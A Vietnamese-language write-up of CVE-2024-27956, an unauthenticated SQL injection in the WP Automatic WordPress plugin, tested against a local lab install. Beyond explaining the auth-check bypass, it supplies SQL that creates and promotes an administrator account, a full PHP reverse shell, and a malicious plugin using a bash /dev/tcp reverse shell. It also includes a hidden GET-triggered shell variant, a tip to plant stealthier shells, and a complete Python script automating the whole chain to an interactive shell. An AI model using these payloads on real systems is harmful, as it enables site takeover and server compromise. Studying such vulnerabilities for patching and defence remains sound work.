# Phân tích CVE-2024-27956

## Tóm tắt
Lỗ hổng này tồn tại trong plugin WP Automatic (premium version) được phát triển bởi ValvePress. Lỗ hổng này cho phép bất kỳ người dùng chưa được xác thực nào có thể kiểm soát hoàn toàn truy vấn SQL sẽ được thực thi trên trang web WordPress. Từ đó, kẻ tấn công có thể:
- Tạo tài khoản quản trị viên
- Tải lên Web Shell và Backdoor
- Hoàn toàn kiểm soát được máy chủ web
## Set up môi trường để phân tích
Các công cụ thiết bị mình sử dụng để phân tích:
- MacOS
- [Wordpress version 6.5.2](https://wordpress.org/download/)
- [XAMPP 8.2.4](https://www.apachefriends.org/)
- [Plugin WP Automatic version 3.92.0](https://github.com/truonghuuphuc/CVE-2024-27956/tree/main), plugin này mình dùng ké của một bài phân tích trên github
## Sink
File code bị dính lỗi: `inc/csv.php`
Trong đó đoạn code đáng chú ý:
```php=
// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}
$rows=$wpdb->get_results($q);
```
Ta có thể thấy `$rows=$wpdb->get_results($q);` sẽ thực thi câu query ở variable `$q`
Mà variable `$q` chính là tham số `q` được người dùng POST lên server
=> **Ta có thể gửi bất kỳ truy vấn SQL cho server thông qua tham số `q`**
## Phân tích
Tuy nhiên server có thực hiện một số kiểm tra xác thực người dùng trước khi thực thi truy vấn. Các bước kiểm tra sẽ đều qua hàm `wp_automatic_trim`
```php=
function wp_automatic_trim($str)
{
if (is_null($str)) {
return '';
} else {
return trim($str);
}
}
```
Trong đó `trim()` sẽ giúp xoá các ký tự trắng dư thừa như:
- Ký tự trắng đầu chuỗi
- Ký tự trắng cuối chuỗi
- Nhiều ký tự trắng gần nhau được lược bỏ còn 1 ký tự trắng
Sau khi được trim, các variable sẽ được kiểm tra
**`$auth` check**
```php!
wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)
```
Nhưng vì tập tin được truy cập bởi một người dùng chưa được xác thực (unauthenticated user) nên `wp_automatic_trim($current_user->user_pass)` sẽ bằng `''`.
Như vậy ta chỉ cần để giá trị của `$auth` là một chuỗi rỗng
**`$insteg` check**
```php!
md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ
```
`$current_user->user_pass` là chuỗi rỗng nên đây sẽ là so sánh `md5($q)` với `$integ`
Như vậy ta chỉ cần để giá trị của `$integ` là md5 của câu truy vấn
**Empty string `$auth` check**
Tuy nhiên trước đó `$auth` sẽ được check xem có phải là chuỗi rỗng hay không. Để bypass được ta chỉ cần để `$auth` là một khoảng trắng `%20` hay `%00`
Sau đó khi được check với `$current_user->user_pass` thì khoảng trắng trong `$auth` sẽ được lược bỏ đi nhờ hàm `trim()`
## Payload
Payload để exploit sẽ có dạng:
```
q=[query]&auth=%20&integ=[md5(query)]
```
### Kiểm tra lỗ hổng
Câu truy vấn sql để kiểm tra xem server có thực thi câu truy vấn mà ta gửi lên
```sql!
SELECT IF(1=2,sleep(5),sleep(0))
```

=> Quan sát thấy server trả về response ngay lập tức
```sql!
SELECT IF(1=1,sleep(5),sleep(0))
```

=> Quan sát thấy server mất một lúc (khoảng 5 giây) mới trả về response
### Tạo một user Wordpress mới
Kiểm tra table `wp_users` hiện tại chỉ có 1 user `admin`

Câu truy vấn để tạo user mới vào table `wp_users`:
```sql!
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0)
```

Kiểm tra lại database thấy đã có thêm user mới

### Kiểm tra user vừa tạo tồn tại trong table
Dựa theo source code:
```php=
$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");
echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){
$action=$row->action;
if (stristr($action , 'New Comment Posted on :')){
$action = 'Posted Comment';
}elseif(stristr($action , 'approved')){
$action = 'Approved Comment';
}
//format date
$date=date('Y-n-j H:i:s',strtotime ($row->date));
$data=$row->data;
$keyword='';
//filter the data strip keyword
if(stristr($data,';')){
$datas=explode(';',$row->data);
$data=$datas[0];
$keyword=$datas[1];
}
echo "$date,$action,$data,$keyword \n";
}
```
=> Truy vấn trả về row thì sẽ hiện date
Câu truy vấn một user không có trong db
```sql!
SELECT * FROM `wp_users` WHERE user_login='abc'
```

=> Quan sát thấy do không có row nào thoả điều kiện nên không hiện date
Thay `user_login` thành user `poc` vừa tạo
```sql!
SELECT * FROM `wp_users` WHERE user_login='poc'
```

=> User đã tồn tại trong hệ thống
### Xác định user id
```sql!
SELECT * FROM `wp_users` WHERE user_login='poc' and ID=1
```
Brute force giá trị ID

Tìm được ID=2
### Thêm quyền admin cho user vừa tạo
User vừa tạo hiện tại chưa được gán quyền

Câu truy vấn để thêm quyền admin cho user dựa trên user_id
```sql!
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (2, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (2, 'wp_user_level', '10')
```

Kết quả user `poc` đã có quyền admin

## Upload reverse shell
PHP reverse shell của [pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php):
```php=
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1414; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
### Upload plugin or template
Tải một plugin bất kỳ về máy, ở đây mình chọn plugin classic-editor, unzip và thêm file `reverse-php-shell.php`

Zip lại và upload plugin lên server

Mở terminal trên máy lên, ở đây mình sử dụng MacOS nên câu lệnh netcat listener để bắt reverse shell của mình trông như sau:
```
nc -lk 1414
```
Sau khi upload thành công và bật netcat listener thì ta có thể truy cập đến file theo đường dẫn sau
```
/wp-content/plugins/classic-editor/reverse-php-shell.php
```
Lúc này file PHP sẽ được thực thi và gửi shell tới IP và port của máy hacker

### Plugin file editor or Theme file editor
Dùng chức editor để chỉnh sửa file bất kỳ có sẵn trong wordpress, ở đây có thể chỉnh sửa `footer.php` của template hiện tại

Ta có thể copy nội dung của file `reverse-php-shell.php` paste vào `footer.php`. Bật netcat listener, sau đó chọn Update File
Quan sát thấy trên terminal đã nhận được shell gửi về từ file `footer.php`.
Việc bỏ payload vào file `footer.php` sẽ giúp shell được gửi về mỗi khi file `footer.php` được load. Đồng thời sẽ gây chú ý hơn nhiều vì trang web sẽ đợi khi nào interactive shell kết thúc mới trả về trang web cho người dùng. => Nên dùng shell này để upload một shell khác ẩn hơn
### Tự tạo một plugin reverse shell
```php=
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1414 0>&1'");
```
Để biến file `reverse-php-shell.php` thành một plugin ta cần thêm vào đầu file một vài dòng comment. Sau đó zip file lại và upload plugin.

Upload thành công thì bật netcat listener, sau đó chọn activate plugin.
Quan sát thấy shell đã được gửi về. Plugin đã được activate nên bất cứ khi nào trang web được load, shell cũng sẽ được gửi về cho hacker. Đồng thời sẽ gây chú ý hơn nhiều vì trang web sẽ đợi khi nào interactive shell kết thúc mới trả về trang web cho người dùng. => Nên dùng shell này để upload một shell khác ẩn hơn
:::info
:bulb: Ta có thể dùng đoạn mã như sau:
```php!
if (isset($_GET['shell'])) {
exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1414 0>&1'");
}
```
để việc gửi shell về máy hacker khi tham số `shell` được gửi cho server
:::
## Script auto exploit
Ở đây mình sẽ viết một đoạn script để thực hiện tất cả các bước khai thác ở trên và trả về interective shell
1. Insert user mới (poc:poc) vào database
2. Nâng quyền user vừa tạo thành Administrator
3. Đăng nhập
4. Sử dụng chức năng chỉnh sửa plugin để chỉnh sửa file `index.php` trong plugin WP Automatic (lưu ý phải chỉnh sửa những file có thể truy cập được mà không cần đăng nhập)
5. Truy cập đến file `index.php` để kích hoạt reverse shell
```python=
import requests
import hashlib
domain = "http://localhost:80/wordpress"
listenIP = "127.0.0.1"
listenPort = "1415"
wp_automatic_url = domain + "/wp-content/plugins/wp-automatic/inc/csv.php"
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "11", "Content-Type": "application/x-www-form-urlencoded"}
# INSERT new user
data = {"q": "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0)", "auth": " ", "integ": "2420edd07fd8ceb35f9393e40305f37c"}
r = requests.post(wp_automatic_url, headers=headers, data=data)
#Find ID of the user we just insert, change max if you think the ID is bigger than 10
max = 10
for id in range (0, max):
data["q"] = "SELECT * FROM `wp_users` WHERE user_login='poc' AND ID=" + str(id)
data["integ"] = hashlib.md5(data["q"].encode()).hexdigest()
response = requests.post(wp_automatic_url, headers=headers, data=data)
if ",,," in response.text:
id = str(id)
break
#Add Role Administrator to the user
data["q"] = "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (" + id + ", 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), (" + id + ", 'wp_user_level', '10')"
data["integ"] = hashlib.md5(data["q"].encode()).hexdigest()
r = requests.post(wp_automatic_url, headers=headers, data=data)
print('Successfully add Administrator account poc:poc')
# Login
login_url = domain + "/wp-login.php"
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://localhost", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"log": "poc", "pwd": "poc", "wp-submit": "Log In", "redirect_to": "http://localhost/wordpress/wp-admin/users.php", "testcookie": "1"}
session = requests.session()
session.post(login_url, headers=headers, data=data)
# I choose index.php in wp-automatic plugin to upload the shell
# You can choose another file by changing the edit_wp_automatic_url
# First we need to find the `nonce`
edit_wp_automatic_url = domain + "/wp-admin/plugin-editor.php?plugin=wp-automatic%2Findex.php&Submit=Select"
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
r = session.get(edit_wp_automatic_url , headers=headers)
r = r.text.split('\n')
for line in r:
if 'input type="hidden" id="nonce" name="nonce' in line:
break
line = line.split(' ')
nonce = line[4].replace('value="','').replace('"','')
# Use the `nonce` we just found to upload the shell
# You can change payload_data["newcontent"] to another PHP shell if you want
upload_url = domain + "/wp-admin/admin-ajax.php"
payload_data = {"nonce": "e8876343e3", "_wp_http_referer": "/wordpress/wp-admin/plugin-editor.php?file=wp-automatic%2Findex.php&plugin=wp-automatic%2Fwp-automatic.php", "newcontent": "<?php \nexec(\"/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1414 0>&1'\");\n?>", "action": "edit-theme-plugin-file", "file": "wp-automatic/index.php", "plugin": "wp-automatic/wp-automatic.php", "docs-list": ''}
payload_data["nonce"] = nonce
payload_data["newcontent"] = "<?php \nexec(\"/bin/bash -c 'bash -i >& /dev/tcp/" + listenIP + "/" + listenPort + " 0>&1'\");\n?>"
r = session.post(upload_url, data=payload_data)
## Visit the link to get the shell
shell_url = "http://localhost:80/wordpress/wp-content/plugins/wp-automatic/index.php"
print("Reverse shell is sending")
r = requests.get(shell_url, headers=headers)
print("Shell is closed")
```
## POC Video clip
https://drive.google.com/file/d/1KZlFzB7NjET7A7xZd2NfRlL0vufQyF1M/view?usp=sharing
## References:
- https://github.com/truonghuuphuc/CVE-2024-27956/tree/main
- https://twitter.com/MrTuxracer/status/1784229071460692232?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Etweet
- https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/
- https://thereviewhive.blog/wp-automatic-plugin-patch-now-for-critical-flaw-cve-2024-27956/
- https://secnhack.in/upload-shell-on-wordpress-site/
- https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- https://sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell